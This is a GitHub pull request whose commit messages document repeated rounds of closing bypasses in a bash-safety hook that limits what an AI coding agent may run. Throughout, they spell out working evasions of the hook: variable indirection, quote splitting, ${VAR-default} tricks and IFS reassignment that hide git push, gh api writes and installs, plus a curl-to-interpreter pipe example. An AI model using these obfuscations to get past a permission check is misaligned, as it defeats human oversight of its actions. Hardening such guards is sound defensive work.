fix(hooks): close bash-safety quote/IFS/indirection bypasses (Stage 1) - #1331
Merged
Conversation
Replace hooks/check-bash-safety.sh's and
skills/executing-a-branch-plan/scripts/check_task_bash_safety.sh's raw-text
regex substring scan with a token-based classifier (Python stdlib shlex,
POSIX mode) that matches against bash's own dequoted, operator-segmented
token stream. Closes the quote-splitting, ${IFS}/$IFS substitution, and
variable/array/positional-parameter indirection bypass classes live-verified
against every denied command group in both scripts (install verbs, gh
issue/pr writes, gh api writes, git push).
Both shell scripts are now thin bash+jq wrappers delegating classification
to a sibling gitapex_check_*_bash_safety.py module; git push obfuscation
routes to the same warn-not-deny path as a literal git push.
Refs #1326
|
Important
This repository does not receive automatic reviews because it has fewer than 10 stars. ⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Plus Run ID: Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #1331 +/- ##
==========================================
+ Coverage 99.53% 99.54% +0.01%
==========================================
Files 120 121 +1
Lines 21169 21804 +635
Branches 2495 2675 +180
==========================================
+ Hits 21070 21705 +635
Misses 99 99 ☔ View full report in Codecov by Harness. 🚀 New features to boost your workflow:
|
…iers The new token-based classifiers hooks/gitapex_check_bash_safety.py and skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py introduced regex- and string-comparison-based detection call sites with no Hypothesis @given property test coverage, tripping the detection-logic-property-coverage CI gate (issue #1178). Add a co-located properties file for each, and add skills/executing-a-branch-plan/scripts to [tool.mypy] mypy_path (already on pytest's own pythonpath, but missing from its mypy counterpart) so the new bare-name import resolves under mypy too. Refs #1326
Three real defects surfaced by an adversarial independent review of the Stage 1 classifier rewrite, each independently reproduced and fixed: 1. gh api write detection missed a dynamically constructed -X/--method value (M=POST; gh api .../merge -X $M resolved to a real write and was wrongly allowed) -- the dynamic value token was filtered out of the literal-token stream before the method-flag scan ever ran. Fixed by checking the specific variable a dynamic value token references against the whole-command NAME=value assignment map. 2. _is_git_push_segment treated every 2-character git global flag as consuming a following value token, so a boolean flag like -p/-P (confirmed against git's own usage synopsis: -v/-h/-p/-P take no argument, only -c/-C do) wrongly swallowed the "push" token itself as its "value" (git -p push origin main was never detected -- a hard-deny bypass in the task-scoped script). Fixed by narrowing the value-consuming branch to -c/-C specifically. 3. The B1b indirection rule (and _rule_git_push's own equivalent inline check) matched *any* assignment anywhere in the whole command against a watched tool/verb, regardless of whether the dynamic segment being evaluated actually referenced that variable -- denying, for example, TOOL=uv; VERB=install; echo done; X=$(mktemp); "$X" --help even though $X references neither TOOL nor VERB. Fixed by scoping _assigned_literals to a name->value map and only considering variables the segment's own dynamic tokens actually reference. Ported identically to both hooks/gitapex_check_bash_safety.py and skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py. Each fix independently re-verified live against the exact reported bypass/false-positive, plus a same-shape regression check that the existing true-positive/true-negative case is unaffected, before adding Hypothesis regression-pin properties for all three. Refs #1326
A second Step 8 independent review round (re-run against the prior fix commit, per the skill's no-stale-verdict rule) found the first fix for the gh-api dynamic-method-value bypass only covered the flag-and-value- as-two-separate-tokens shape (-X $M). -X=$M, -X$M/-X"$M" (shlex dequotes the quoted form to the same single fused token as the unquoted one), and --method=$M are all semantically identical ways to pass a dynamic method value and still resolved to a real write while being wrongly allowed. Fixed by extracting the dynamic value from any of the flag-and-value shapes (separate token, fused with '=', or fused directly) before looking up the referenced variable's assigned value, instead of only handling the exact literal "-x"/"--method" token followed by a separate dynamic token. Refs #1326
Third Step 8 independent review round (re-run against the second fix commit, per the skill's no-stale-verdict rule) found two more real defects: 1. skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py's _rule_git_push trivially bypassed by tool-word-only indirection: `G=git; $G push origin main` was wrongly allowed, since "push" was already a plain literal token in the segment -- never referenced by any dynamic token -- so it never entered the indirection-lookup `values` set the prior fix relied on exclusively. Fixed by adding the same "dynamic command word + literal verb already present in the same segment" check the sibling hooks/gitapex_check_bash_safety.py module already applies to git-push detection via its own Rule B1a call, this time as a hard deny consistent with this script's own stricter posture (design doc Decision 13: task agents never push at all). 2. hooks/gitapex_check_bash_safety.py's gh-api field-flag detection (-f/-F/--field/--raw-field) had the identical fused-dynamic-value gap the prior commit fixed only for -X/--method: a field flag fused directly with a dynamic value (-f$X, --field=$X, --raw-field=$X) makes the whole token dynamic, so it never reaches the literal-token check. Fixed with the same raw-segment scan pattern; this rule never inspects the field value, only the flag's presence, so no name_to_value lookup is needed. Each fix independently re-verified live against the exact reported bypass, plus regression checks that the existing true-positive/ true-negative cases are unaffected, before adding Hypothesis regression-pin properties for both. Refs #1326
… gate Three rounds of Step 8 fixes (dynamic method value, fused method-flag forms, fused field-flag forms) grew _rule_gh_api_write's own cyclomatic complexity to xenon rank F, failing this repo's --max-absolute E gate -- pytest itself passed all 5758 tests; only the complexity check in the same CI job failed. Split the four independent scanning passes into their own named helper functions (_gh_api_method_literal_hit, _gh_api_method_dynamic_value, _gh_api_method_dynamic_hit, _gh_api_field_literal_hit, _gh_api_field_dynamic_hit), each owning its own narrow branching; _rule_gh_api_write itself is now pure orchestration. No behavior change -- every fix from the prior three rounds re-verified live, plus new Hypothesis property tests exercising each extracted helper directly (also closes the resulting detection-logic-property-coverage gap the split itself introduced for the newly-named functions). Refs #1326
tvna
marked this pull request as ready for review
August 25, 2026 14:30
Fourth Step 8 independent review round (exhaustive sweep across every
flag-detection call site in both scripts) found two more real bypasses
and one disclosed-but-not-fixed residual:
1. `gh`+`api` fully hidden behind two separate variables
(`G=gh; A=api; $G $A ... -X POST`) defeated detection entirely in
both scripts. hooks/gitapex_check_bash_safety.py: "api" was never in
_WATCHED_VERBS, so gh-api write detection (a separately-dispatched
rule) was never wired into the B1a/B1b indirection machinery that
already covers `gh issue`/`gh pr` write-subcommand indirection.
Fixed by adding "api" to _WATCHED_VERBS. skills/executing-a-branch-
plan/scripts/gitapex_check_task_bash_safety.py: "gh" is never in
_WATCHED_TOOLS at all (denied entirely via its own dedicated blanket
rule instead), so it had zero indirection handling. Fixed with a
dedicated indirection check in _rule_gh_any, mirroring the pattern
_rule_git_push already uses.
2. `_is_git_push_segment` (identical in both scripts) only special-cased
the short options -c/-C as consuming a separate following value
token -- git's own value-taking LONG global options (--git-dir,
--work-tree, --namespace, --super-prefix, --config-env) were only
handled in their fused `--flag=value` form. Live-confirmed with real
git: `git --git-dir /tmp/repo push origin master` actually pushes,
undetected by either script. Fixed by extending the value-consuming
check to a known set of long flag names.
3. `_rule_gh_api_write`'s `gh api graphql` "mutation" keyword check is a
raw substring scan, defeatable by splitting the keyword across two
concatenated variables (`A=muta; B=tion; Q="${A}${B} ..."`). Soundly
closing this needs recursive `${NAME}` reference resolution -- the
same unbounded-reconstruction problem issue #1326 itself already
scopes out of Stage 1 for tool/verb tokens, manifesting here for a
keyword inside a free-text query value instead. Deliberately left
open and disclosed in the module's own docstring and pinned as
`graphql-mutation-keyword-variable-concatenation` in
KNOWN_BYPASS_COMMANDS, rather than attempting an incomplete fix.
Each fix independently re-verified live, plus regression checks that
existing true-positive/true-negative cases are unaffected, before adding
Hypothesis regression-pin properties for both closed findings.
Refs #1326
…ety-bypass-1326 # Conflicts: # hooks/check-bash-safety.sh # hooks/test_gitapex_check_bash_safety.py
Owner
Author
Merge conflict resolutionPR #1323 merged into
Verification after resolution: Generated by Claude Code |
Step 8 independent review, fifth round: every prior fix for
gh-api write detection assumed the -X/--method/-f/--field flag
TOKEN carried a literal flag-shaped text prefix somewhere in
itself. A token that is purely a bare variable reference (`$F`)
has no such prefix, so neither the literal-token scan nor the
fused-value dynamic scan ever recognized it as a flag at all --
live-confirmed both via the classifier and real bash argv
expansion:
F=-X; M=POST; gh api repos/o/r/pulls/1/merge $F $M
resolved to a real PR-merge write while being classified allow.
Adds `_resolve_bare_var`, narrowly resolving a token only when it
is *exactly* one `$NAME`/`${NAME}` reference (the same bounded,
single-level lookup every other B-rule here already uses, not
unbounded recursive reconstruction), plus
`_gh_api_method_flagname_dynamic_hit` and
`_gh_api_field_flagname_dynamic_hit` wired into
`_rule_gh_api_write`. The task-scoped hook
(gitapex_check_task_bash_safety.py) is unaffected: it denies all
`gh` usage unconditionally regardless of any flag.
Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage for
the new call sites.
Refs #1326
…pass
Step 8 independent review, sixth round: the round-2/5 fixes for a
dynamic -X/--method value resolved each referenced variable's value
SEPARATELY and checked whether any one of them alone was a write
method. A value split across multiple concatenated variables was
never recognized, even though bash concatenates adjacent `$NAME`
references with no separator -- live-confirmed both via the
classifier and real bash argv expansion:
M1=PO; M2=ST; gh api repos/o/r/pulls/1/merge -X "$M1$M2"
resolves to a real POST write while being classified allow (neither
"po" nor "st" alone is a write method).
Adds `_substitute_var_refs`, which reconstructs a token by replacing
every `$NAME`/`${NAME}` reference with its resolved value in place
(preserving surrounding literal text) rather than checking referenced
values individually -- still a single, bounded substitution pass over
already-literal `name_to_value` entries, not the unbounded recursive
reconstruction the graphql-mutation-keyword residual requires (that
residual searches free-text query content for a keyword; this closes
a small, bounded write-method comparison set). Wired into both
`_gh_api_method_dynamic_hit` and `_gh_api_method_flagname_dynamic_hit`.
Fixes a self-inflicted regression caught by the existing test suite
before push: `_gh_api_method_dynamic_value`'s `-X=$M`/`-X$M` slice
included a leading `=` in the extracted value part, which the old
per-variable check ignored incidentally but the new reconstructed-
string check does not -- now stripped at extraction, matching
`_gh_api_method_literal_hit`'s own established `.lstrip("=")`
convention for its separate-token case.
Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage
(including for `_substitute_var_refs` itself).
Refs #1326
…ison
Step 8 independent review, seventh round: the round-6 fix's
`_substitute_var_refs` preserves a token's literal text exactly as
typed -- only the substituted variable values are already-lowercased
(per `_assigned_literals`'s own convention). An uppercase literal
fragment fused with a variable in the same token reconstructs with
its case intact, so the write-method comparison (case-sensitive
`.startswith()` against a lowercase set) never matched it --
live-confirmed both via the classifier and real bash argv expansion:
M=ST; gh api repos/o/r/pulls/1/merge -X "PO$M"
resolves to a real POST write while being classified allow
("POst" != "post").
Every round-6 regression test used a whole-variable-per-fragment
split (M1=PO; M2=ST), which happens to already be all-lowercase
after resolution, so this case-normalization gap went unexercised
until this round found it. Fixed by lowercasing the reconstructed
string immediately before the write-method comparison at both call
sites (_gh_api_method_dynamic_hit, _gh_api_method_flagname_dynamic_hit),
matching the lowercasing convention every other literal-token
comparison in this module already follows.
Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage,
including a false-positive guard for an uppercase fragment resolving
to a read method.
Refs #1326
… write check
Step 8 independent review, eighth round: shlex's own quote removal
discards WHICH characters were originally inside quotes. A quoted,
bounded reference immediately followed by more identifier-shaped
literal text ("$M"ST) and a bare, unquoted reference whose name
simply happens to be longer ($MST) both dequote to the identical
raw token text -- there is no way to recover, from the token alone,
which reading bash actually used. Live-confirmed both via the
classifier and real bash argv expansion:
M=PO; gh api repos/o/r/pulls/1/merge -X"$M"ST
resolves to a real -XPOST write while being classified allow, since
the prior single-greedy-match resolution always assumed the
maximal-munch (unquoted) reading and "MST" was never itself
assigned.
Replaces _substitute_var_refs (single reconstruction) with
_substitute_var_refs_candidates (every sound reconstruction): a
braced reference (${M}) is unambiguous and still contributes exactly
one reading; an unbraced reference now tries every non-empty prefix
of its identifier run as a candidate variable name
(_unbraced_ref_options), so a write hidden behind either
interpretation is caught. Still bounded, not the graphql residual's
unbounded recursion -- the branching factor is the length of one
already-fixed identifier run, capped explicitly
(_MAX_SUBSTITUTION_CANDIDATES) to fail closed (treat as an
unresolved-but-plausible match) rather than silently truncate on a
pathological token.
Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level, plus Hypothesis property coverage,
including false-positive guards for a read-method resolution and an
unrelated variable with no name collision.
Refs #1326
…pass Step 8 independent review, eighth round, immediately after closing the plain quote-boundary-ambiguity case in the previous commit: the identical shlex quote-collapse ambiguity also applies when the -X/--method/-f/--field flag NAME itself (not just its value) is fused directly with its own value in the SAME token. F=-X; gh api repos/o/r/pulls/1/merge "$F"POST dequotes to the single token $FPOST, real bash resolves it to a real -XPOST write (confirmed via bash -c argv expansion), and it was wrongly allowed: neither the bare-anchored flag-name check (round 5, requires the flag token to be exactly $NAME with nothing fused after it) nor the literal-text-prefix dynamic-value check (round 2/6/7/8, requires the token to already start with literal flag text) recognizes this shape, since the flag character itself is not literally present anywhere in the token's own text before substitution. Same class confirmed for the field flag: FF=-f; gh api repos/o/r/pulls/1 "$FF"name=value resolves to a real -fname=value field write. Adds _gh_api_method_fused_flagname_dynamic_hit and _gh_api_field_fused_flagname_dynamic_hit, which check every candidate reconstruction of the whole token (via _substitute_var_refs_candidates, added in the previous commit) against the same fused-flag shapes already recognized for a literal token -- not a new detection rule, only extending an existing one to a token whose resolved reading was not knowable until substitution. Adds regression-pin tests at the shell level, the sub-pass level, and the orchestrator level, plus Hypothesis property coverage. One property test's own construction was itself wrong on first write (fused a long --field/--raw-field flag directly onto its payload with no "=" separator, which is not valid gh/pflag syntax and would not actually invoke a field write) -- caught by the existing test suite before push and corrected to mirror _gh_api_field_literal_hit's own established per-flag separator shapes. Refs #1326
Step 8 independent review, ninth round: bash's own
${NAME:-default}/${NAME-default}/${NAME:=default}/${NAME=default}
parameter expansion evaluates to the literal DEFAULT text whenever
NAME is unset (or, for the `:`-prefixed forms, empty) -- a
zero-assignment mechanism for embedding literal text directly in a
token. None of the prior rounds' fixes ever looked inside this
construct, so it defeated detection with no NAME= assignment
anywhere in the command at all -- live-confirmed both via the
classifier and real bash argv expansion:
gh api repos/x/y/merge -X${TOTALLY_NEVER_MENTIONED-POST}
resolves to a real -XPOST write while being classified allow.
More severely, the same construct also fully bypassed the most
basic install-verb and gh-pr-merge detection (_rule_b1a_dynamic_
word_same_segment_verb / _rule_b1b_dynamic_word_assigned_tool_and_
verb), not just the gh-api-specific checks rounds 5-8 closed:
${NEVER_SET:-uv} ${NEVER_SET2:-install} foo
resolves (real bash) to a genuine `uv install foo` and was wrongly
allowed, since neither rule ever looked at a token's own embedded
default-clause text -- only a literal token's own text or a
referenced variable's assigned value.
Adds _default_clause_literal (anchored whole-token extraction, used
by the B-rules) and a third alternative in
_substitute_var_refs_candidates's own regex (non-anchored, so it is
also found fused within a larger token, e.g. -X${NAME-POST}). Both
contribute the literal DEFAULT text as a candidate reading, plus
NAME's own resolved value if it also happens to be assigned (an
extra safety-margin candidate, since this classifier cannot know at
gate time whether NAME will actually be unset/empty at bash's own
real runtime). The default text itself is not recursively
re-scanned for further $ references it might contain -- a disclosed
residual, matching the module's existing "not the unbounded
reconstruction problem" boundary.
Ports the identical fix to the self-contained duplicate at
skills/executing-a-branch-plan/scripts/gitapex_check_task_bash_safety.py
(its own B1a/B1b, _rule_gh_any, and _rule_git_push all shared the
same gap -- confirmed live that ${NEVER_SET:-gh} pr merge and
${NEVER_SET:-git} ${NEVER_SET2:-push} both bypassed the task-agent
hard-deny rules too).
Adds regression-pin tests at the shell level, the sub-pass level,
and the orchestrator level in both modules, plus Hypothesis property
coverage, including false-positive guards for unrelated default
values and watched-tool names used as harmless arguments.
Refs #1326
…ound 26) Found live by Step 8 independent review, twenty-sixth round (issue #1326), independently confirmed by two of four dispatched reviewers: round 25's own IFS-whitespace fix used Python's `str.strip()` with no argument, which strips a broader whitespace set (also `\r`, `\f`, `\v`, and more) than bash's own default `$IFS` (exactly space/tab/newline). Confirmed live via real bash (`set -x`) that a value consisting solely of `\r` does NOT word-split away (`git -v $CFG push origin main` with CFG="\r" keeps `$'\r'` as its own argv element), contradicting the function's own docstring, which explicitly names "space/tab/newline" as the IFS this check relies on. This was a real docstring/ implementation contract mismatch, safe-direction only (it only ever widened over-detection at every traced call site in both files, never caused a missed bypass) but a mismatch nonetheless. Closed by adding a `_BASH_DEFAULT_IFS = " \t\n"` module constant and stripping only those three characters, in both files. Also fixed two confirmed regression-test gaps found by two of the four dispatched reviewers (via mutation testing showing the guarded branch was reachable but genuinely untested): - The task-scoped file was missing its own copy of the branch-coverage guard proving a plain-braced reference assigned a real (non-empty, non-whitespace) value stays correctly unflagged -- the main hook's properties file had it, the task file's did not, despite the round-25 commit message claiming parity. - Neither properties file had an IFS-whitespace-specific regression pin for the plain-braced form specifically (only the bare form was pinned) -- added to both. Regression-pin tests for this round's own fix (a carriage-return-only value correctly staying unflagged) added to both properties files. Refs #1326
…s (round 27) Found live by Step 8 independent review, twenty-seventh round (issue #1326), independently confirmed by two of four dispatched reviewers, against round 26's own `_BASH_DEFAULT_IFS` narrowing: 1. `_token_is_all_unassigned_refs` always assumes bash's own DEFAULT `$IFS` -- it has no awareness that the command itself can reassign `$IFS` before a decoy reference is used (`IFS=$'\r'; CFG=$'\r'; git -v $CFG push origin main`), which real bash genuinely honors. Round 26's own narrowing from Python's broader `str.strip()` to exactly `_BASH_DEFAULT_IFS` happens to make this one character (`\r`) a live miss again after round 25 happened to (by accident, not design) cover it -- but the underlying gap (`$IFS` reassignment is not tracked at all) already existed for every other IFS character in every prior round too, confirmed live that round 25's own code missed those identically (e.g. `IFS=","`). 2. The `-c`/`_GIT_LONG_VALUE_FLAGS` value-consumption block inside `_is_git_push_segment` now correctly determines that a value like `\r` does not vanish (per the fixed check) and consumes it as the flag's own value -- but never validates whether the consumed text is a well-formed git config value; real git rejects a malformed one before ever reaching a subcommand, so this can now report (and, in the task-scoped file, hard-deny) a push that real git would never actually perform. Both are safe-direction only (over-detection, never a missed bypass, confirmed live at every traced call site by two independent reviewers) and both trace to genuinely larger structural gaps (dynamic $IFS tracking; git config-key grammar validation) that this module has no data model for today -- the same "needs a new tracking dimension, not a point fix" posture this module's own array-literal per-index residual (`_rule_array_literal_content`) and this file's own `KNOWN_BYPASS_COMMANDS` already take. Disclosed in both files' docstrings rather than attempted here. Also fixed two minor documentation issues from the same round's review: a factual inaccuracy in the `_BASH_DEFAULT_IFS` comment (Python's broader whitespace set is `\x1c`-`\x1f`, not `\x1c`-`\x1d`), and the top-level docstring summary line for `_token_is_all_unassigned_ refs`, which pointed only to the twenty-fourth/twenty-fifth-round paragraphs without mentioning twenty-sixth's own refinement. Annotated (comment-only, no behavior change) the three other bare `.strip()` call sites a reviewer flagged as superficially similar -- explaining why they answer a different question (recursion-worthiness of a command-substitution span's source text, not runtime word-splitting) and are deliberately left unscoped to `_BASH_DEFAULT_IFS`. A separate, more significant finding from this same round's review -- a multi-line command (`\n`-separated) collapsing into one segment and defeating every `seg[0]`-anchored rule in the task-scoped file -- is NOT addressed in this commit; it is a distinct root cause (shlex's own tokenizer whitespace already absorbing `\n` before segment-splitting ever sees it) from the IFS-precision family this round's diff is scoped to, and is being investigated separately. Refs #1326
…nd 28) Found live by Step 8 independent review, twenty-eighth round (issue #1326): round 27's own disclosure of the `$IFS`-reassignment residual in `_token_is_all_unassigned_refs` was itself mis-triaged as "safe- direction only" -- it is actually a live, exploitable HARD-DENY-BYPASS in the task-scoped file (and a silently-dropped warning in the main hook). Root cause, confirmed live end-to-end: `IFS="<CR>"; CFG="<CR>"; git -v $CFG push origin main`, with the carriage return DOUBLE-QUOTED so it survives shlex's own tokenization intact (round 27's own example command used an UNQUOTED `\r`, which `tokenize()` itself absorbs as ordinary shell whitespace before this code ever runs -- so that example never actually reached the check through the real `classify()` pipeline, and the "safe-direction only" conclusion was drawn from a scenario that wasn't reachable in the first place). With the carriage return surviving tokenization, `$CFG` reaches `_is_git_push_segment`'s own flag-skip loop wrongly judged NOT-vanishing (since `\r` is not in `_BASH_DEFAULT_IFS`), so the loop `break`s at the literal `-v` flag's own decoy instead of skipping past it, and genuinely misses the `push` sitting one position further -- confirmed via `classify()` returning `deny=False` (task file) / `is_git_push=False` (main hook) where the identical-ARGV default-IFS control correctly returns `True`. Closed narrowly rather than by fully tracking `$IFS`'s dynamic value (a materially larger change, left as a disclosed possibility for a future round if ever needed): whenever the command itself assigns anything to `IFS`, `_token_is_all_unassigned_refs` now fails closed by treating every bare/plain-braced reference as possibly vanishing regardless of its own value -- correct for every caller of this function in both files, since all of them use "vanishes" to mean "safe to skip past, or safe to try the collapsed reading too." Also, per the same round's re-examination: confirmed the SECOND disclosed residual (the `-c` value-consumption block's own blindness to malformed git config values) genuinely IS safe-direction-only, with no under-detection counter-example found after deliberate effort -- tightened that paragraph's own wording to state this was specifically re-checked, and fixed a stale/incorrect cross-reference in the main hook's own docstring (a citation to `_rule_array_literal_content`'s docstring for a disclosure that function does not actually contain -- the real analogous disclosure is this same function's own twenty- fourth-round paragraph) plus a self-contradicting sentence that attributed round 26's own `_BASH_DEFAULT_IFS` narrowing to round 27 (which was disclosure-only, no behavior change). Regression-pin tests (unit + end-to-end `classify()`) added to both properties files and both fixture-list files. Refs #1326
…d 29) Found live by Step 8 independent review, twenty-ninth round (issue #1326): round 28's own blanket rule inside `_token_is_all_unassigned_ refs` ("the command reassigns $IFS anywhere -> unconditionally treat every bare/plain-braced reference as vanishing") was itself wrong, confirmed via two independent adversarial reviews finding real regressions in both directions -- round 28's own docstring claim that this was "correct for every caller ... not a mixed bag" does not hold. Most severe (found by the regression/blast-radius review): `_is_git_ push_segment`'s own `-c`/`_GIT_LONG_VALUE_FLAGS` value-consumption loop -- the SAME function round 28 was fixing -- uses "vanishing" to decide whether to skip a token while hunting for the real git config value. Treating a token that does NOT actually vanish as if it does makes that loop skip past the real config value and consume the WRONG later token (often the literal `push` itself) as `-c`'s own value instead, hiding the genuine push entirely. Confirmed live end-to-end with an ordinary pattern, no exotic byte tricks needed: `IFS=,; CFG=user.name=x; git -c $CFG push` real-expands (confirmed via real bash `set -x`) to `git -c user.name=x push`, a genuine push, but round 28's own code wrongly returned `is_git_push=False`/`deny=False` -- a NEW hard-deny bypass strictly broader and easier to trigger than the one round 28 set out to close. Also found (by the correctness review): `_value_position_after`'s own skip-loop (routed through `_token_is_unambiguously_vanishing`, used by the gh-api dynamic write-method detection) wants to STOP at the value position, not skip past it -- round 28's blanket rule made it skip past a genuine dynamic write-method value merely because $IFS was reassigned elsewhere, missing a real write: `IFS=x; echo hi; M=POST; gh api repos/foo/bar/merge -X ${M} extra` real-expands to `-X POST extra`, a genuine write, but wrongly returned `deny=False`. And, lower severity: `_strip_leading_unassigned_bare_refs` (main hook) and `_skip_fetch_exec_wrapper` (task file) both wrongly stripped/skipped a real, non-vanishing leading reference as a decoy purely because $IFS was reassigned anywhere in the command, producing new false positives on entirely benign commands. Root cause: round 28's fix THREW AWAY information it already had. `_assigned_literals` already records $IFS's own literal reassigned value in `name_to_value["IFS"]` whenever the reassignment itself is a plain literal -- the blanket rule ignored that known value entirely and substituted a maximally-pessimistic "anything might vanish" guess instead of just using it. Closed by consulting the actual reassigned value when present, falling back to `_BASH_DEFAULT_IFS` exactly as before when $IFS was never reassigned (or was reassigned only dynamically, so `_assigned_literals` never recorded it): `effective_ifs = name_to_value.get("IFS", _BASH_DEFAULT_IFS)`, used everywhere this function previously stripped `_BASH_DEFAULT_IFS` specifically. This single change in `_token_is_all_unassigned_refs` (ported identically to both files) resolves all of the above without any caller-specific carve-out, and re-verified live to still correctly handle round 28's own original target (the carriage-return decoy) and round 23/24's original decoy scenarios (never-assigned / empty-string values still vanish regardless of $IFS). Still disclosed, not fixed: this reads `name_to_value["IFS"]` from the same flat, order-and-scope-blind assignment map every other lookup in this function already uses -- a command that reassigns $IFS more than once, or references a decoy before the $IFS reassignment that would apply to it in real execution order, still only sees one captured value regardless of position. The same pre-existing scoping limitation every other name-to-value lookup in this module already accepts, not a new gap this fix introduces. Regression-pin tests (unit + end-to-end classify()) added to both properties files, plus fixture-list entries in both files' own allowed/denied command matrices. Refs #1326
…nd 30) Found live by Step 8 independent review, thirtieth round (issue #1326), convention-adherence pass against round 29's own commit (1bf1efb): 1. Round 29's own docstring in the task-scoped file names TWO callers hit by the same false-positive class -- `_strip_leading_unassigned_ bare_refs` and `_skip_fetch_exec_wrapper` -- but only `_skip_fetch_exec_wrapper` got the full established 3-part regression-pin convention (direct unit test + end-to-end classify() test + fixture-list entry) in tests/test_gitapex_check_task_bash_ safety_properties.py; `_strip_leading_unassigned_bare_refs` got only the fixture-list entry, with no direct unit test on the function itself and no dedicated classify() end-to-end pin, asymmetric with the main hook's own properties file, which pins this exact caller directly. Closed by adding the missing unit test and end-to-end test, mirroring the main hook's own pair; confirmed non-vacuous by reverting just round 29's own two-line core fix in a scratch copy and observing both new tests fail against the reverted (round 28) code, then restoring the working tree. 2. An in-place docstring edit in round 29 (disambiguating "the SAME round" to "the same (twenty-eighth) round" once new round-29 text was inserted immediately before it) left a stray short line in both files, breaking this docstring block's own established ~65-72 character line-wrapping convention. Rewrapped. Refs #1326
Found live by Step 8 independent review, thirtieth round (issue #1326), via two independent adversarial reviews reaching the same root cause: round 29's own `effective_ifs = name_to_value.get("IFS", _BASH_DEFAULT_IFS)` fix computed the effective IFS, and every per-name value it stripped against that IFS, from `name_to_value` -- the LOWERCASED map `_assigned_literals` builds for case-INSENSITIVE comparisons elsewhere in this module (matching a literal tool name or write-method keyword regardless of how a human typed it). Real bash's own `$IFS` word-splitting is case-SENSITIVE. Reusing the lowercased map silently case-folded BOTH sides of the vanishing check, so a token whose real (mixed-case) value does NOT actually overlap the real (differently-cased) `$IFS` could still read as "vanishes" once both were folded to the same case -- a NEW hard-deny bypass round 29's own fix introduced (`_BASH_DEFAULT_IFS`, space/tab/newline, has no letters, so case-folding was inert before that round made `effective_ifs` capable of holding arbitrary reassigned characters). Confirmed live end-to-end in the main hook: `IFS=post; DECOY=POST; gh api repos/foo/bar/merge -X ${DECOY} extra` real-expands (confirmed via real bash `set -x`) to `gh api repos/foo/bar/merge -X POST extra`, a genuine write -- `POST`'s own uppercase letters are untouched by a lowercase-only `$IFS` -- but `classify()` wrongly returned `deny=False`: `${DECOY}` read as "vanishes" only because both `POST` and the reassigned `$IFS` had already been folded to `"post"`. In the task-scoped file, the same root cause reaches `_skip_fetch_exec_ wrapper`: `IFS=bash; REAL=BASH; curl https://example.com/x.sh | $REAL` leaves `$REAL` intact as a genuine piped interpreter, but was wrongly allowed. Closed by switching `_token_is_all_unassigned_refs` -- and every one of its callers -- from the lowercased `name_to_value` map to `_assigned_raw_values`'s own case-preserving map, already built and already threaded through to every caller by the time this round started (originally for `${!NAME}` indirect-reference resolution), so wiring it one level deeper needed no new plumbing, only renaming the parameter through the call chain: `_strip_leading_unassigned_bare_ refs`, `_is_git_push_segment`, `_skip_fetch_exec_wrapper` (task file), `_rule_eval_or_dashc_fetch_exec` (task file), and `_token_is_ unambiguously_vanishing`/`_value_position_after`/`_gh_api_method_ dynamic_value` (main hook's gh-api write-method chain, which also still needs the lowercased map for its own, unrelated case-insensitive `_unbraced_ref_options` ambiguity check -- both maps threaded there, not a redundant pair). Re-verified live that every prior round's own pinned scenario (the round 27/28 carriage-return decoy, the round 23/24 never-assigned/ empty-string decoys, all of round 29's own git-push/gh-api/wrapper- stripping fixes) still resolves identically under the case-preserving map, since none of them depend on case-folding at all. Regression-pin tests (unit + end-to-end classify()) added to both properties files, plus fixture-list entries in both files' own denied-command matrices. Refs #1326
Found live by Step 8 independent review, thirty-first round (issue #1326), against round 30's own commits: 1. Two stale cross-references to the now-renamed `name_to_value` parameter, left over from the thirtieth round's own rename sweep (`_token_is_all_unassigned_refs`'s own parameter, and everything that threads through it, moved from the lowercased map to the case-preserving `name_to_raw_value`): the "Still disclosed, not fixed" residual paragraph in both files still said `name_to_value ["IFS"]` and cited `_assigned_literals`'s own docstring, both wrong post-rename; the task-scoped file's `_fetch_tool_head` docstring still described its own `_strip_leading_unassigned_bare_refs` call as running "against this function's OWN self-contained NAME_TO_ VALUE," when the code two lines below it was one of the ~10-15 call sites round 30 itself rewired to pass `name_to_raw_value`. Fixed all three. 2. The twenty-ninth round's own line-wrap fix (commit ae73a48) claimed to close a stray-short-line defect in the "second disclosed residual" paragraph (both files) but only relocated it a few words down, leaving a mid-paragraph orphan line noticeably shorter than the paragraph's own established ~65-71 character convention. Rewrapped both paragraphs in full (word-for-word content preserved, verified via an exact word-count diff before and after). 3. Two of round 30's own "direct unit test" regression pins (main hook: `test_token_is_all_unassigned_refs_false_for_a_case_ mismatched_ifs_and_value`; task file: the same test plus `test_skip_fetch_exec_wrapper_does_not_skip_a_case_folded_ifs_ collision`) turned out vacuous against the pre-fix (round 29) code: confirmed empirically by replaying each assertion against the round-29 module directly -- both pass unchanged, because the primitive/caller each test calls directly never had a buggy internal logic; the bug lived entirely in which map a FURTHER-OUT caller passed in, which calling the function directly with an already-correctly-cased hand-built dict cannot exercise either way. Reframed each docstring to state this honestly (a characterization test of the function's own case-sensitive semantics, not a regression pin) and point to the genuinely non-vacuous caller-level/ end-to-end tests that do pin the actual fix -- no code or test deletion, since the characterization coverage is still useful, just mislabeled. Refs #1326
tvna
marked this pull request as draft
August 26, 2026 06:01
tvna
marked this pull request as ready for review
August 26, 2026 09:18
This was referenced Aug 26, 2026
Merged
tvna
pushed a commit
that referenced
this pull request
Aug 26, 2026
This was referenced Aug 26, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
